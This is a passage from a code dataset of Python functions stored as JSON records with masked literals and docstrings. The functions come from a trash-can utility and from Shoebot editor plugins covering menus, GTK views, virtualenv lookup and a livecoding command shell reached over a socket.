path.\nOptions:\n - \"symbolic link\"\n - \"directory\"\n - \"'.' directory\"\n - \"'..' directory\"\n - \"regular file\"\n - \"regular empty file\"\n - \"non existent\"\n - \"entry\"", "id": "f11438:m2"}
{"signature": "def trash(self, file) :", "body": "if self._should_skipped_by_specs(file):<EOL><INDENT>self.reporter.unable_to_trash_dot_entries(file)<EOL>return<EOL><DEDENT>volume_of_file_to_be_trashed = self.volume_of_parent(file)<EOL>self.reporter.volume_of_file(volume_of_file_to_be_trashed)<EOL>candidates = self._possible_trash_directories_for(<EOL>volume_of_file_to_be_trashed)<EOL>self.try_trash_file_using_candidates(file,<EOL>volume_of_file_to_be_trashed,<EOL>candidates)<EOL>", "docstring": "Trash a file in the appropriate trash directory.\nIf the file belong to the same volume of the trash home directory it\nwill be trashed in the home trash directory.\nOtherwise it will be trashed in one of the relevant volume trash\ndirectories.\n\nEach volume can have two trash directories, they are\n    - $volume/.Trash/$uid\n    - $volume/.Trash-$uid\n\nFirstly the software attempt to trash the file in the first directory\nthen try to trash in the second trash directory.", "id": "f11438:c0:m4"}
{"signature": "def _format_text(self, text) :", "body": "return text<EOL>", "docstring": "[Does not] format a text, return the text as it is.", "id": "f11438:c3:m0"}
{"signature": "def persist_trash_info(self, basename, content, logger):", "body": "self.ensure_dir(self.info_dir, <NUM_LIT>)<EOL>index = <NUM_LIT:0><EOL>while True :<EOL><INDENT>if index == <NUM_LIT:0> :<EOL><INDENT>suffix = \"<STR_LIT>\"<EOL><DEDENT>elif index < <NUM_LIT:100>:<EOL><INDENT>suffix = \"<STR_LIT>\" % index<EOL><DEDENT>else :<EOL><INDENT>import random<EOL>suffix = \"<STR_LIT>\" % random.randint(<NUM_LIT:0>, <NUM_LIT>)<EOL><DEDENT>base_id = basename<EOL>trash_id = base_id + suffix<EOL>trash_info_basename = trash_id+\"<STR_LIT>\"<EOL>dest = os.path.join(self.info_dir, trash_info_basename)<EOL>try :<EOL><INDENT>self.atomic_write(dest, content)<EOL>logger.debug(\"<STR_LIT>\" % dest)<EOL>return dest<EOL><DEDENT>except OSError:<EOL><INDENT>logger.debug(\"<STR_LIT>\" % dest)<EOL><DEDENT>index += <NUM_LIT:1><EOL><DEDENT>raise IOError()<EOL>", "docstring": "Create a .trashinfo file in the $trash/info directory.\nreturns the created TrashInfoFile.", "id": "f11438:c6:m4"}
{"signature": "def copytree(src, dst, symlinks=False, ignore=None):", "body": "<EOL>if not os.path.exists(dst):<EOL><INDENT>os.makedirs(dst)<EOL>shutil.copystat(src, dst)<EOL><DEDENT>lst = os.listdir(src)<EOL>if ignore:<EOL><INDENT>excl = ignore(src, lst)<EOL>lst = [x for x in lst if x not in excl]<EOL><DEDENT>for item in lst:<EOL><INDENT>s = os.path.join(src, item)<EOL>d = os.path.join(dst, item)<EOL>if symlinks and os.path.islink(s):<EOL><INDENT>if os.path.lexists(d):<EOL><INDENT>os.remove(d)<EOL><DEDENT>os.symlink(os.readlink(s), d)<EOL>try:<EOL><INDENT>st = os.lstat(s)<EOL>mode = stat.S_IMODE(st.st_mode)<EOL>os.lchmod(d, mode)<EOL><DEDENT>except:<EOL><INDENT>pass  <EOL><DEDENT><DEDENT>elif os.path.isdir(s):<EOL><INDENT>copytree(s, d, symlinks, ignore)<EOL><DEDENT>else:<EOL><INDENT>shutil.copy2(s, d)<EOL><DEDENT><DEDENT>", "docstring": "copytree that works even if folder already exists", "id": "f11486:m1"}
{"signature": "def get_source(self, doc):", "body": "start_iter = doc.get_start_iter()<EOL>end_iter = doc.get_end_iter()<EOL>source = doc.get_text(start_iter, end_iter, False)<EOL>return source<EOL>", "docstring": "Grab contents of 'doc' and return it\n\n:param doc: The active document\n:return:", "id": "f11487:c0:m9"}
{"signature": "def _create_view(self, name=\"<STR_LIT>\"):", "body": "view = gtk.TextView()<EOL>view.set_editable(False)<EOL>fontdesc = pango.FontDescription(\"<STR_LIT>\")<EOL>view.modify_font(fontdesc)<EOL>view.set_name(name)<EOL>buff = view.get_buffer()<EOL>buff.create_tag('<STR_LIT:error>', foreground='<STR_LIT>')<EOL>return view<EOL>", "docstring": "Create the gtk.TextView used for shell output", "id": "f11487:c1:m1"}
{"signature": "def copytree(src, dst, symlinks=False, ignore=None):", "body": "<EOL>if not exists(dst):<EOL><INDENT>os.makedirs(dst)<EOL>shutil.copystat(src, dst)<EOL><DEDENT>lst = os.listdir(src)<EOL>if ignore:<EOL><INDENT>excl = ignore(src, lst)<EOL>lst = [x for x in lst if x not in excl]<EOL><DEDENT>for item in lst:<EOL><INDENT>s = join(src, item)<EOL>d = join(dst, item)<EOL>if symlinks and islink(s):<EOL><INDENT>if lexists(d):<EOL><INDENT>os.remove(d)<EOL><DEDENT>os.symlink(os.readlink(s), d)<EOL>try:<EOL><INDENT>st = os.lstat(s)<EOL>mode = stat.S_IMODE(st.st_mode)<EOL>os.lchmod(d, mode)<EOL><DEDENT>except:<EOL><INDENT>pass  <EOL><DEDENT><DEDENT>elif isdir(s):<EOL><INDENT>copytree(s, d, symlinks, ignore)<EOL><DEDENT>else:<EOL><INDENT>shutil.copy2(s, d)<EOL><DEDENT><DEDENT>", "docstring": "copytree that works even if folder already exists", "id": "f11489:m1"}
{"signature": "def _create_view(self, name=\"<STR_LIT>\"):", "body": "text_view = Gtk.TextView()<EOL>text_view.set_editable(False)<EOL>fontdesc = Pango.FontDescription(\"<STR_LIT>\")<EOL>text_view.modify_font(fontdesc)<EOL>text_view.set_name(name)<EOL>buff = text_view.get_buffer()<EOL>buff.create_tag('<STR_LIT:error>', foreground='<STR_LIT>')<EOL>container = Gtk.ScrolledWindow()<EOL>container.add(text_view)<EOL>container.show_all()<EOL>return container, text_view<EOL>", "docstring": "Create the gtk.TextView inside a Gtk.ScrolledWindow\n:return: container, text_view", "id": "f11490:c0:m2"}
{"signature": "def get_source(self, doc):", "body": "start_iter = doc.get_start_iter()<EOL>end_iter = doc.get_end_iter()<EOL>source = doc.get_text(start_iter, end_iter, False)<EOL>return source<EOL>", "docstring": "Grab contents of 'doc' and return it\n\n:param doc: The active document\n:return:", "id": "f11490:c0:m9"}
{"signature": "def copytree(src, dst, symlinks=False, ignore=None):", "body": "<EOL>if not exists(dst):<EOL><INDENT>os.makedirs(dst)<EOL>shutil.copystat(src, dst)<EOL><DEDENT>lst = os.listdir(src)<EOL>if ignore:<EOL><INDENT>excl = ignore(src, lst)<EOL>lst = [x for x in lst if x not in excl]<EOL><DEDENT>for item in lst:<EOL><INDENT>s = join(src, item)<EOL>d = join(dst, item)<EOL>if symlinks and islink(s):<EOL><INDENT>if lexists(d):<EOL><INDENT>os.remove(d)<EOL><DEDENT>os.symlink(os.readlink(s), d)<EOL>try:<EOL><INDENT>st = os.lstat(s)<EOL>mode = stat.S_IMODE(st.st_mode)<EOL>os.lchmod(d, mode)<EOL><DEDENT>except:<EOL><INDENT>pass  <EOL><DEDENT><DEDENT>elif isdir(s):<EOL><INDENT>copytree(s, d, symlinks, ignore)<EOL><DEDENT>else:<EOL><INDENT>shutil.copy2(s, d)<EOL><DEDENT><DEDENT>", "docstring": "copytree that works even if folder already exists", "id": "f11491:m1"}
{"signature": "def get_source(self, doc):", "body": "start_iter = doc.get_start_iter()<EOL>end_iter = doc.get_end_iter()<EOL>source = doc.get_text(start_iter, end_iter, False)<EOL>return source<EOL>", "docstring": "Grab contents of 'doc' and return it\n\n:param doc: The active document\n:return:", "id": "f11492:c0:m9"}
{"signature": "def _create_view(self, name=\"<STR_LIT>\"):", "body": "view = Gtk.TextView()<EOL>view.set_editable(False)<EOL>fontdesc = Pango.FontDescription(\"<STR_LIT>\")<EOL>view.modify_font(fontdesc)<EOL>view.set_name(name)<EOL>buff = view.get_buffer()<EOL>buff.create_tag('<STR_LIT:error>', foreground='<STR_LIT>')<EOL>return view<EOL>", "docstring": "Create the gtk.TextView used for shell output", "id": "f11492:c1:m1"}
{"signature": "def find_example_dir():", "body": "<EOL>code_stub = textwrap.dedent(\"\"\"<STR_LIT>\"\"\")<EOL>code = code_stub % '<STR_LIT>'<EOL>cmd = [\"<STR_LIT>\", \"<STR_LIT:-c>\", code]<EOL>p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)<EOL>output, errors = p.communicate()<EOL>if errors:<EOL><INDENT>print('<STR_LIT>')<EOL>print('<STR_LIT>'.format(errors.decode('<STR_LIT:utf-8>')))<EOL>return None<EOL><DEDENT>else:<EOL><INDENT>examples_dir = output.decode('<STR_LIT:utf-8>').strip()<EOL>if os.path.isdir(examples_dir):<EOL><INDENT>return examples_dir<EOL><DEDENT>code = code_stub % '<STR_LIT>'<EOL>cmd = [\"<STR_LIT>\", \"<STR_LIT:-c>\", code]<EOL>p = subprocess.Popen(cmd, stdout=subprocess.PIPE)<EOL>output, errors = p.communicate()<EOL>examples_dir = output.decode('<STR_LIT:utf-8>').strip()<EOL>if os.path.isdir(examples_dir):<EOL><INDENT>return examples_dir<EOL><DEDENT>if examples_dir:<EOL><INDENT>print('<STR_LIT>'.format(examples_dir))<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Find examples dir .. a little bit ugly..", "id": "f11493:m1"}
{"signature": "def make_readable_filename(fn):", "body": "return os.path.splitext(fn)[<NUM_LIT:0>].replace('<STR_LIT:_>', '<STR_LIT:U+0020>').capitalize()<EOL>", "docstring": "Change filenames for display in the menu.", "id": "f11493:m2"}
{"signature": "def run(self):", "body": "try:<EOL><INDENT>for line in iter(self._fd.readline, False):<EOL><INDENT>if line is not None:<EOL><INDENT>if self._althandler:<EOL><INDENT>if self._althandler(line):<EOL><INDENT>continue<EOL><DEDENT><DEDENT><DEDENT>self._queue.put(line)<EOL>if not line:<EOL><INDENT>time.sleep(<NUM_LIT:0.1>)<EOL><DEDENT><DEDENT><DEDENT>except ValueError:  <EOL><INDENT>if not self._fd.closed:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>", "docstring": "The body of the tread: read lines and put them on the queue.", "id": "f11493:c0:m1"}
{"signature": "def eof(self):", "body": "return (not self.is_alive()) and self._queue.empty() or self._fd.closed<EOL>", "docstring": "Check whether there is no more content to expect.", "id": "f11493:c0:m2"}
{"signature": "def live_source_load(self, source):", "body": "source = source.rstrip('<STR_LIT:\\n>')<EOL>if source != self.source:<EOL><INDENT>self.source = source<EOL>b64_source = base64.b64encode(bytes(bytearray(source, \"<STR_LIT:ascii>\")))<EOL>self.send_command(CMD_LOAD_BASE64, b64_source)<EOL><DEDENT>", "docstring": "Send new source code to the bot\n\n:param source:\n:param good_cb: callback called if code was good\n:param bad_cb: callback called if code was bad (will get contents of exception)\n:return:", "id": "f11493:c2:m2"}
{"signature": "def send_command(self, cmd, *args):", "body": "<EOL>if True:<EOL><INDENT>cookie = str(uuid.uuid4())<EOL>response = CommandResponse(cmd, cookie, None, info=[])<EOL>self.responses[cookie] = response<EOL>args = list(args) + [b'<STR_LIT>' + bytes(cookie, \"<STR_LIT:ascii>\")]<EOL><DEDENT>if args:<EOL><INDENT>bytes_args = []<EOL>for arg in args:<EOL><INDENT>if isinstance(arg, bytes):<EOL><INDENT>bytes_args.append(arg)<EOL><DEDENT>else:<EOL><INDENT>bytes_args.append(bytearray(arg, \"<STR_LIT:ascii>\"))<EOL><DEDENT><DEDENT>data = bytearray(cmd, \"<STR_LIT:ascii>\") + b'<STR_LIT:U+0020>' + b'<STR_LIT:U+0020>'.join(bytes_args) + b'<STR_LIT:\\n>'<EOL><DEDENT>else:<EOL><INDENT>data = bytearray(cmd, \"<STR_LIT:ascii>\") + b'<STR_LIT:\\n>'<EOL><DEDENT>self.process.stdin.write(data)<EOL>self.process.stdin.flush()<EOL>", "docstring": ":param cmd:\n:param args:\n:return:", "id": "f11493:c2:m4"}
{"signature": "def close(self):", "body": "self.process.stdout.close()<EOL>self.process.stderr.close()<EOL>self.running = False<EOL>", "docstring": "Close outputs of process.", "id": "f11493:c2:m5"}
{"signature": "def get_output(self):", "body": "if self.process.poll() is not None:<EOL><INDENT>self.close()<EOL>yield None, None<EOL><DEDENT>while not (self.stdout_queue.empty() and self.stderr_queue.empty()):<EOL><INDENT>if not self.stdout_queue.empty():<EOL><INDENT>line = self.stdout_queue.get().decode('<STR_LIT:utf-8>')<EOL>yield line, None<EOL><DEDENT>if not self.stderr_queue.empty():<EOL><INDENT>line = self.stderr_queue.get().decode('<STR_LIT:utf-8>')<EOL>yield None, line<EOL><DEDENT><DEDENT>", "docstring": ":yield: stdout_line, stderr_line, running\n\nGenerator that outputs lines captured from stdout and stderr\n\nThese can be consumed to output on a widget in an IDE", "id": "f11493:c2:m6"}
{"signature": "def get_command_responses(self):", "body": "if not self.response_queue.empty():<EOL><INDENT>yield None<EOL><DEDENT>while not self.response_queue.empty():<EOL><INDENT>line = self.response_queue.get()<EOL>if line is not None:<EOL><INDENT>yield line<EOL><DEDENT><DEDENT>", "docstring": "Get responses to commands sent", "id": "f11493:c2:m7"}
{"signature": "def examples_menu(root_dir=None, depth=<NUM_LIT:0>):", "body": "<EOL>examples_dir = ide_utils.get_example_dir()<EOL>if not examples_dir:<EOL><INDENT>return \"<STR_LIT>\", [], []<EOL><DEDENT>root_dir = root_dir or examples_dir<EOL>file_tmpl = '<STR_LIT>'<EOL>dir_tmpl = '<STR_LIT>'<EOL>file_actions = []<EOL>submenu_actions = []<EOL>xml = \"<STR_LIT>\"<EOL>for fn in sorted(os.listdir(root_dir)):<EOL><INDENT>path = os.path.join(root_dir, fn)<EOL>rel_path = path[len(examples_dir):]<EOL>if os.path.isdir(path):<EOL><INDENT>action = '<STR_LIT>'.format(rel_path)<EOL>label = fn.capitalize()<EOL>sm_xml, sm_file_actions, sm_menu_actions = examples_menu(os.path.join(root_dir, fn), depth+<NUM_LIT:1>)<EOL>submenu_actions.extend(sm_menu_actions)<EOL>file_actions.extend(sm_file_actions)<EOL>submenu_actions.append((action, label))<EOL>xml += dir_tmpl.format(name=fn, action=action, menu=sm_xml)<EOL><DEDENT>elif os.path.splitext(path)[<NUM_LIT:1>] in ['<STR_LIT>', '<STR_LIT>'] and not fn.startswith('<STR_LIT:_>'):<EOL><INDENT>action = '<STR_LIT>'.format(rel_path)<EOL>label = ide_utils.make_readable_filename(fn)<EOL>xml += file_tmpl.format(name=fn, action=action)<EOL>file_actions.append((action, label))<EOL><DEDENT><DEDENT>return xml, file_actions, submenu_actions<EOL>", "docstring": ":return: xml for menu, [(bot_action, label), ...], [(menu_action, label), ...]", "id": "f11494:m0"}
{"signature": "def mk_examples_menu(text, root_dir=None, depth=<NUM_LIT:0>):", "body": "<EOL>examples_dir = ide_utils.get_example_dir()<EOL>if not examples_dir:<EOL><INDENT>return None, []<EOL><DEDENT>root_dir = root_dir or examples_dir    <EOL>file_actions = []<EOL>menu = Gio.Menu.new()<EOL>base_item = Gio.MenuItem.new_submenu(text, menu)<EOL>for fn in sorted(os.listdir(root_dir)):<EOL><INDENT>path = os.path.join(root_dir, fn)<EOL>rel_path = path[len(examples_dir):]<EOL>if os.path.isdir(path):<EOL><INDENT>label = fn.capitalize()<EOL>item, sm_file_actions = mk_examples_menu(label, os.path.join(root_dir, fn))<EOL>menu.append_item(item)<EOL>file_actions.extend(sm_file_actions)<EOL><DEDENT>elif os.path.splitext(path)[<NUM_LIT:1>] in ['<STR_LIT>', '<STR_LIT>'] and not fn.startswith('<STR_LIT:_>'):<EOL><INDENT>label = ide_utils.make_readable_filename(fn)<EOL>action_name = \"<STR_LIT>\" % encode_relpath(rel_path)<EOL>menu.append(label, action_name)<EOL>file_actions.append(rel_path)<EOL><DEDENT><DEDENT>return base_item, file_actions<EOL>", "docstring": ":return: base_item, rel_paths", "id": "f11494:m2"}
{"signature": "def gedit3_menu(xml):", "body": "<EOL>return MENU_UI.format(xml)<EOL>", "docstring": "Build XML for GEDIT3 Menus.\n\nPass in the xml returned by example_menu", "id": "f11494:m3"}
{"signature": "def get_child_by_name(parent, name):", "body": "<EOL>def iterate_children(widget, name):<EOL><INDENT>if widget.get_name() == name:<EOL><INDENT>return widget<EOL><DEDENT>try:<EOL><INDENT>for w in widget.get_children():<EOL><INDENT>result = iterate_children(w, name)<EOL>if result is not None:<EOL><INDENT>return result<EOL><DEDENT>else:<EOL><INDENT>continue<EOL><DEDENT><DEDENT><DEDENT>except AttributeError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return iterate_children(parent, name)<EOL>", "docstring": "Iterate through a gtk container, `parent`,\nand return the widget with the name `name`.", "id": "f11494:m4"}
{"signature": "def venv_has_script(script):", "body": "def f(venv):<EOL><INDENT>path=os.path.join(venv, '<STR_LIT>', script)<EOL>if os.path.isfile(path):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return f<EOL>", "docstring": ":param script: script to look for in bin folder", "id": "f11494:m5"}
{"signature": "def is_venv(directory, executable='<STR_LIT>'):", "body": "path=os.path.join(directory, '<STR_LIT>', executable)<EOL>return os.path.isfile(path)<EOL>", "docstring": ":param directory: base directory of python environment", "id": "f11494:m6"}
{"signature": "def vw_envs(filter=None):", "body": "vw_root=os.path.abspath(os.path.expanduser(os.path.expandvars('<STR_LIT>')))<EOL>venvs=[]<EOL>for directory in os.listdir(vw_root):<EOL><INDENT>venv=os.path.join(vw_root, directory)<EOL>if os.path.isdir(os.path.join(venv)):<EOL><INDENT>if filter and not filter(venv):<EOL><INDENT>continue<EOL><DEDENT>venvs.append(venv)<EOL><DEDENT><DEDENT>return sorted(venvs)<EOL>", "docstring": ":return: python environments in ~/.virtualenvs\n\n:param filter: if this returns False the venv will be ignored\n\n>>> vw_envs(filter=venv_has_script('pip'))", "id": "f11494:m7"}
{"signature": "def sbot_executable():", "body": "gsettings=load_gsettings()<EOL>venv = gsettings.get_string('<STR_LIT>')<EOL>if venv == '<STR_LIT>':<EOL><INDENT>sbot = which('<STR_LIT>')<EOL><DEDENT>elif venv == '<STR_LIT>':<EOL><INDENT>env_venv = os.environ.get('<STR_LIT>')<EOL>if not env_venv:<EOL><INDENT>return which('<STR_LIT>')<EOL><DEDENT>for p in os.environ['<STR_LIT>'].split(os.path.pathsep):<EOL><INDENT>sbot='<STR_LIT>' % p<EOL>if not p.startswith(env_venv) and os.path.isfile(sbot):<EOL><INDENT>return sbot<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>sbot = os.path.join(venv, '<STR_LIT>')<EOL>if not os.path.isfile(sbot):<EOL><INDENT>print('<STR_LIT>')<EOL>sbot = which('<STR_LIT>')<EOL><DEDENT><DEDENT>return os.path.realpath(sbot)<EOL>", "docstring": "Find shoebot executable", "id": "f11494:m9"}
{"signature": "def examples_menu(root_dir=None, depth=<NUM_LIT:0>):", "body": "examples_dir = ide_utils.get_example_dir()<EOL>if not examples_dir:<EOL><INDENT>return \"<STR_LIT>\", [], []<EOL><DEDENT>root_dir = root_dir or examples_dir<EOL>file_tmpl = '<STR_LIT>'<EOL>dir_tmpl = '<STR_LIT>'<EOL>file_actions = []<EOL>submenu_actions = []<EOL>xml = \"<STR_LIT>\"<EOL>for fn in sorted(os.listdir(root_dir)):<EOL><INDENT>path = os.path.join(root_dir, fn)<EOL>rel_path = path[len(examples_dir):]<EOL>if os.path.isdir(path):<EOL><INDENT>action = '<STR_LIT>'.format(rel_path)<EOL>label = fn.capitalize()<EOL>sm_xml, sm_file_actions, sm_menu_actions = examples_menu(os.path.join(root_dir, fn), depth+<NUM_LIT:1>)<EOL>submenu_actions.extend(sm_menu_actions)<EOL>file_actions.extend(sm_file_actions)<EOL>submenu_actions.append((action, label))<EOL>xml += dir_tmpl.format(name=fn, action=action, menu=sm_xml)<EOL><DEDENT>elif os.path.splitext(path)[<NUM_LIT:1>] in ['<STR_LIT>', '<STR_LIT>'] and not fn.startswith('<STR_LIT:_>'):<EOL><INDENT>action = '<STR_LIT>'.format(rel_path)<EOL>label = ide_utils.make_readable_filename(fn)<EOL>xml += file_tmpl.format(name=fn, action=action)<EOL>file_actions.append((action, label))<EOL><DEDENT><DEDENT>return xml, file_actions, submenu_actions<EOL>", "docstring": ":return: xml for menu, [(bot_action, label), ...], [(menu_action, label), ...]", "id": "f11495:m0"}
{"signature": "def gedit2_menu(xml):", "body": "return MENU_UI.format(xml)<EOL>", "docstring": "Build XML for GEDIT3 Menus.\n\nPass in the xml returned by example_menu", "id": "f11495:m1"}
{"signature": "def get_child_by_name(parent, name):", "body": "<EOL>def iterate_children(widget, name):<EOL><INDENT>if widget.get_name() == name:<EOL><INDENT>return widget<EOL><DEDENT>try:<EOL><INDENT>for w in widget.get_children():<EOL><INDENT>result = iterate_children(w, name)<EOL>if result is not None:<EOL><INDENT>return result<EOL><DEDENT>else:<EOL><INDENT>continue<EOL><DEDENT><DEDENT><DEDENT>except AttributeError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return iterate_children(parent, name)<EOL>", "docstring": "Iterate through a gtk container, `parent`,\nand return the widget with the name `name`.", "id": "f11495:m2"}
{"signature": "def create_listening_socket(host, port, handler):", "body": "sock = socket.socket()<EOL>sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, <NUM_LIT:1>)<EOL>sock.bind((host, port))<EOL>sock.listen(<NUM_LIT:1>)<EOL>GObject.io_add_watch(sock, GObject.IO_IN, handler)<EOL>return sock<EOL>", "docstring": "Create socket and set listening options\n:param host:\n:param port:\n:param handler:\n:return:", "id": "f11496:m0"}
{"signature": "def __init__(self, bot, host, port):", "body": "create_listening_socket(host, port, self.listener)<EOL>self.shell = None<EOL>self.bot = bot<EOL>", "docstring": "Initialize server and start listening.", "id": "f11496:c0:m0"}
{"signature": "def listener(self, sock, *args):", "body": "conn, addr = sock.accept()<EOL>f = conn.makefile(conn)<EOL>self.shell = ShoebotCmd(self.bot, stdin=f, stdout=f, intro=INTRO)<EOL>print(_(\"<STR_LIT>\"))<EOL>GObject.io_add_watch(conn, GObject.IO_IN, self.handler)<EOL>if self.shell.intro:<EOL><INDENT>self.shell.stdout.write(str(self.shell.intro)+\"<STR_LIT:\\n>\")<EOL>self.shell.stdout.flush()<EOL><DEDENT>return True<EOL>", "docstring": "Asynchronous connection listener. Starts a handler for each connection.", "id": "f11496:c0:m1"}
{"signature": "def handler(self, conn, *args):", "body": "<EOL>self.shell.stdout.write(self.shell.prompt)<EOL>line = self.shell.stdin.readline()<EOL>if not len(line):<EOL><INDENT>line = '<STR_LIT>'<EOL>return False<EOL><DEDENT>else:<EOL><INDENT>line = line.rstrip('<STR_LIT:\\r\\n>')<EOL>line = self.shell.precmd(line)<EOL>stop = self.shell.onecmd(line)<EOL>stop = self.shell.postcmd(stop, line)<EOL>self.shell.stdout.flush()<EOL>self.shell.postloop()<EOL>if stop:<EOL><INDENT>self.shell = None<EOL>conn.close()<EOL><DEDENT>return not stop<EOL><DEDENT>", "docstring": "Asynchronous connection handler. Processes each line from the socket.", "id": "f11496:c0:m2"}
{"signature": "def trusted_cmd(f):", "body": "def run_cmd(self, line):<EOL><INDENT>if self.trusted:<EOL><INDENT>f(self, line)<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\" % f.__name__[<NUM_LIT:3>:])<EOL><DEDENT><DEDENT>global trusted_cmds<EOL>trusted_cmds.add(f.__name__)<EOL>run_cmd.__doc__ = f.__doc__<EOL>return run_cmd<EOL>", "docstring": "Trusted commands cannot be run remotely\n\n:param f:\n:return:", "id": "f11497:m0"}
{"signature": "def __init__(self, bot, intro=None, trusted=False, **kwargs):", "body": "cmd.Cmd.__init__(self, **kwargs)<EOL>self.bot = bot<EOL>self.pause_speed = None<EOL>self.intro = intro or INTRO<EOL>self.prompt = PROMPT<EOL>self.response_prompt = '<STR_LIT>'<EOL>self.use_rawinput = False<EOL>self.cookie = None<EOL>self.escape_nl = False<EOL>self.live_prefix = '<STR_LIT>'<EOL>self.trusted = trusted<EOL>", "docstring": ":param bot:\n:param intro:\n:param trusted: Only running from the commandline is trusted, not from sockets\n                untrusted can only change variables\n:param kwargs:\n:return:", "id": "f11497:c0:m0"}
{"signature": "def print_response(self, input='<STR_LIT>', keep=False, *args, **kwargs):", "body": "cookie = kwargs.get('<STR_LIT>')<EOL>if cookie is None:<EOL><INDENT>cookie = self.cookie or '<STR_LIT>'<EOL><DEDENT>status = kwargs.get('<STR_LIT:status>')<EOL>lines = input.splitlines()<EOL>if status and not lines:<EOL><INDENT>lines = ['<STR_LIT>']<EOL><DEDENT>if cookie:<EOL><INDENT>output_template = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>output_template = '<STR_LIT>'<EOL><DEDENT>for i, line in enumerate(lines):<EOL><INDENT>if i != len(lines) - <NUM_LIT:1> or keep is True:<EOL><INDENT>cookie_char = '<STR_LIT:>>'<EOL><DEDENT>else:<EOL><INDENT>cookie_char = '<STR_LIT::>'<EOL><DEDENT>print(output_template.format(<EOL>cookie_char=cookie_char,<EOL>cookie=cookie,<EOL>status=status or '<STR_LIT>',<EOL>line=line.strip()), file=self.stdout)<EOL><DEDENT>", "docstring": "print response, if cookie is set then print that each line\n:param args:\n:param keep: if True more output is to come\n:param cookie: set a custom cookie,\n               if set to 'None' then self.cookie will be used.\n               if set to 'False' disables cookie output entirely\n:return:", "id": "f11497:c0:m1"}
{"signature": "def emptyline(self):", "body": "return \"<STR_LIT>\"<EOL>", "docstring": "Kill the default behaviour of repeating the last line.\n\n:return:", "id": "f11497:c0:m2"}
{"signature": "def do_escape_nl(self, arg):", "body": "if arg.lower() == '<STR_LIT>':<EOL><INDENT>self.escape_nl = False<EOL><DEDENT>else:<EOL><INDENT>self.escape_nl = True<EOL><DEDENT>", "docstring": "Escape newlines in any responses", "id": "f11497:c0:m3"}
{"signature": "def do_prompt(self, arg):", "body": "if arg.lower() == '<STR_LIT>':<EOL><INDENT>self.response_prompt = '<STR_LIT>'<EOL>self.prompt = '<STR_LIT>'<EOL>return<EOL><DEDENT>elif arg.lower() == '<STR_LIT>':<EOL><INDENT>self.prompt = PROMPT<EOL>self.response_prompt = RESPONSE_PROMPT<EOL><DEDENT>self.print_response('<STR_LIT>' % self.prompt, '<STR_LIT:\\n>', '<STR_LIT>' % self.response_prompt)<EOL>", "docstring": "Enable or disable prompt\n:param arg: on|off\n:return:", "id": "f11497:c0:m4"}
{"signature": "def do_title(self, title):", "body": "publish_event(SET_WINDOW_TITLE, data=title)<EOL>", "docstring": "Change window title.", "id": "f11497:c0:m5"}
{"signature": "def do_speed(self, speed):", "body": "if speed:<EOL><INDENT>try:<EOL><INDENT>self.bot._speed = float(speed)<EOL><DEDENT>except Exception as e:<EOL><INDENT>self.print_response('<STR_LIT>' % speed)<EOL>return<EOL><DEDENT><DEDENT>self.print_response('<STR_LIT>' % self.bot._speed)<EOL>", "docstring": "rewind", "id": "f11497:c0:m6"}
{"signature": "def do_restart(self, line):", "body": "self.bot._frame = <NUM_LIT:0><EOL>self.bot._namespace.clear()<EOL>self.bot._namespace.update(self.bot._initial_namespace)<EOL>", "docstring": "Attempt to restart the bot.", "id": "f11497:c0:m7"}
{"signature": "def do_pause(self, line):", "body": "<EOL>if self.pause_speed is None:<EOL><INDENT>self.pause_speed = self.bot._speed<EOL>self.bot._speed = <NUM_LIT:0><EOL>self.print_response('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>self.bot._speed = self.pause_speed<EOL>self.pause_speed = None<EOL>self.print_response('<STR_LIT>')<EOL><DEDENT>", "docstring": "Toggle pause", "id": "f11497:c0:m8"}
{"signature": "def do_play(self, line):", "body": "if self.pause_speed is None:<EOL><INDENT>self.bot._speed = self.pause_speed<EOL>self.pause_speed = None<EOL><DEDENT>self.print_response(\"<STR_LIT>\")<EOL>", "docstring": "Resume playback if bot is paused", "id": "f11497:c0:m9"}
{"signature": "def do_goto(self, line):", "body": "self.print_response(\"<STR_LIT>\" % line)<EOL>self.bot._frame = int(line)<EOL>", "docstring": "Go to specific frame\n:param line:\n:return:", "id": "f11497:c0:m10"}
{"signature": "def do_rewind(self, line):", "body": "self.print_response(\"<STR_LIT>\" % self.bot._frame)<EOL>self.bot._frame = <NUM_LIT:0><EOL>", "docstring": "rewind", "id": "f11497:c0:m11"}
{"signature": "def do_vars(self, line):", "body": "if self.bot._vars:<EOL><INDENT>max_name_len = max([len(name) for name in self.bot._vars])<EOL>for i, (name, v) in enumerate(self.bot._vars.items()):<EOL><INDENT>keep = i < len(self.bot._vars) - <NUM_LIT:1><EOL>self.print_response(\"<STR_LIT>\" % (name.ljust(max_name_len), v.value), keep=keep)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.print_response(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "List bot variables and values", "id": "f11497:c0:m12"}
{"signature": "@trusted_cmd<EOL><INDENT>def do_load_base64(self, line):<DEDENT>", "body": "cookie = self.cookie<EOL>executor = self.bot._executor<EOL>def source_good():<EOL><INDENT>self.print_response(status=RESPONSE_CODE_OK, cookie=cookie)<EOL>executor.clear_callbacks()<EOL><DEDENT>def source_bad(tb):<EOL><INDENT>if called_good:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self.print_response(status=RESPONSE_REVERTED, keep=True, cookie=cookie)<EOL>self.print_response(tb.replace('<STR_LIT:\\n>', '<STR_LIT>'), cookie=cookie)<EOL>executor.clear_callbacks()<EOL><DEDENT>called_good = False<EOL>source = str(base64.b64decode(line))<EOL>publish_event(SOURCE_CHANGED_EVENT, data=source, extra_channels=\"<STR_LIT>\")<EOL>self.bot._executor.load_edited_source(source, good_cb=source_good, bad_cb=source_bad)<EOL>", "docstring": "load filename=(file)\nload base64=(base64 encoded)\n\nSend new code to shoebot.\n\nIf it does not run successfully shoebot will attempt to role back.\n\nEditors can enable livecoding by sending new code as it is edited.", "id": 